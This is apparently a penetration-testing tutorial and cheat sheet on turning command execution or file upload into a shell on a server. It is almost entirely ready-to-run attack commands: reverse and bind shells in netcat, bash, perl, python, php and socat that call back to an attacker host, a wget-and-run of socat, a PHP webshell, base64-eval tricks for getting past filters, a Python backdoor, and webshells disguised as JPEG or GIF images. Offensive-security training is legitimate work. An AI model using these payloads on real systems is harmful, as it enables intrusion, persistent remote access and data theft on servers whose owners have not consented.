You have found a web request that allows you to execute commands on the server, or you have managed to find out how to upload a file that can be executed.
Your goal now is to get a shell on the machine, which will allow a comfortable exploitation.
You will use the tools installed on the server (netcat, bash, php, python, perl, ...) to open a shell on the server and connect it back to your host.
Netcat, is the Swiss army knife of connections between servers.
It can listen, connect and launch shells.
Older versions had the -e or -c option to launch a shell. Recent versions do not have this option anymore for security reasons.
On Kali there is a version 1.10 in :
/usr/bin/nc -h
-e shell commands : program to execute
-c shell commands : program to execute
-l : listen mode
-v : verbose
-p port : local port number
On your host, start a nc listening on 4444 port
nc -lvp 4444
On the target host, start a reverse shell. This reverse shell launch a shell and connect it to your host on 4444 port.
nc -e /bin/sh IPKALI 4444
To use a reverse shell you must have a public IP, and can't use a NAT. Well, you can, its just little bit trickier.
On your host, start a nc listening on 4444 port
nc -lvp 4444
On the target host, start a reverse shell. This reverse shell launch a shell and connect it to your host on 4444 port.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f
The shell obtained with nc is basic. It is not a tty (real terminal).
Some commands like su will refuse to work.
To upgrade our shell, use python to get a tty shell:
python -c 'import pty; pty.spawn("/bin/bash")'
The shell obtained with nc is basic. The completion with Tab, the history with arrows are not managed.
Put the nc in the background with:
Ctr-Z
Then ask the current shell to pass the raw keystroke codes to the remote shell, and switch back to the netcat (foreground)
stty raw -echo
fg
Disclamer: Trying this in a browser will just freeze the shell. The browser also modifies the key codes. It only works in a VM
As long as your nc is connected, you block a thread of the web server. Depending on the configuration of the server, it can have 6, 16, 32 threads... This means as many nc in parallel before saturation. To free the server for friends: In the connected nc, choose a second port and launch a second netcat bindshell in the background:
binshell:
nohup bash -c 'while true; do nc -e /bin/bash -lvp 4445; done;' &
reverse shell:
nohup bash -c 'bash -i >& /dev/tcp/IPKALI/4444 0>&1' &
The nohup command will detach the nc process from the current shell.
Do a Ctrl-C to cut the nc connection, the page with your webshell will be freed. Another user can connect.
Launch a new nc to connect to this new bindshell.A bind shell is useful when our host is behind a NAT. This shell is fragile, a port scan will trigger it and close it. Launch a shell, open a listening TCP socket on port 4444, and give access to the shell to the first one who connects.
nc -e /bin/sh -lvp 4444
Connect to the nc on the target and get the shell:
nc iptarget 4444
Launch a bind shel on the target host
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 2>&1|nc -lp 4444 >/tmp/f
Then connect to it
nc victim 4444
Socat is a nc on steroids. It allows authentication, encryption of communications and port forwarding.
It is rarely found on the servers, it must be uploaded.
Start a listening socat:
$ socat file:`tty`,raw,echo=0 TCP-L:4444
Launch reverse shell back to 10.0.0.1:4444
$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4444
Automate socat upload and the reverse shell:
$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
Pwncat is an upgraded nc on steroids too.
https://github.com/cytopia/pwncat
Netcat and python are not installed on the server. It is still possible to launch a reverse shell in bash.
Launch a listening nc on your host:
nc -lvp 4444
Launch the reverse shell on your target:
bash -i >& /dev/tcp/IPKALI/4444 0>&1
Launch a listening nc on your host:
nc -lvp 4444
Launch the reverse shell in perl on your target:
perl -e 'use Socket;$i="IPKALI";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Launch a listening nc on your host:
nc -lvp 4444
Launch the reverse shell in python on your target:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((IPKALI,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(/bin/bash)'
Launch a listening nc on your host:
nc -lvp 4444
Launch the reverse shell in php on your target:
php -r '$sock=fsockopen("IPKALI",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
If you can upload a php file to the web server, the file below will allow you to run shell commands:
<?php echo 'Shell: ';system($_GET['cmd']); ?>
Run 'id' on the server
curl http://IPSERVER/cmd.php?cmd=id
Upload the file
<pre><?php echo 'Shell: ';system($_GET['cmd']); ?></pre>
Run 'id' on the server
curl http://IPSERVER/cmd.php?cmd=id
Sometimes some characters like ; the & or the | are filtered. A base64 encoding allows to get out of it.
Base64 encode your command in an xterm:
$ printf 'system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f");' | base64
Paste de base64 encoded command in PHP reverse shell code:
eval(base64_decode('c3lzdGVtKCJyEtxxxxxxxxxEkgNDQ0NCA+L3RtcC9mIik7='));
import sys,socket,time,re,subprocess,os
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0',4444))
sock.listen(5)
conn,addr = sock.accept()
conn.send('== YOLO Backdoor ==\n\n>')
while 1:
data = conn.recv(1024)
cmd = data.strip().split(' ')
if cmd[0] == 'cd':
os.chdir(cmd[1])
elif cmd[0] in ('exit'):
break
else:
conn.send(subprocess.check_output(cmd)+'\n>')
conn.close()
sock.shutdown(socket.SHUT_RDWR)
sock.close()
If you can upload a jpg file, it is possible to hide a webshell in it.
A jpeg file is identified by its first bytes which have the value: ffd8ffe0
To generate a file that will be identified as having a valid Jpeg header:
printf "\xff\xd8\xff\xe0<?php system('id'); ?>" > webshell.jpg
This file will be recognized as a jpg file
$ file webshell.jpg
webshell.jpg: JPEG image data
A Gif file is identified by its first bytes which have the value: GIF89a;
To generate a file that will be identified as having a valid gif header:
printf "GIF89a;<?php system('id'); ?>" > webshell.gif
This file will be recognized as a gif file
$ file webshell.gif
webshell.gif: GIF image data
An image file contains a lot of information: shooting date, location, camera type...
We can inject php code in this data.
exiftool -Comment='<?php system('id'); ?>' webshell.jpg
You want to know more ?
Some webshells
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
Pure php Webshell: php-reverse-shell.php
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Yop Webshell: yopwebshell.php
Yolo Webshell: yolowebshell.php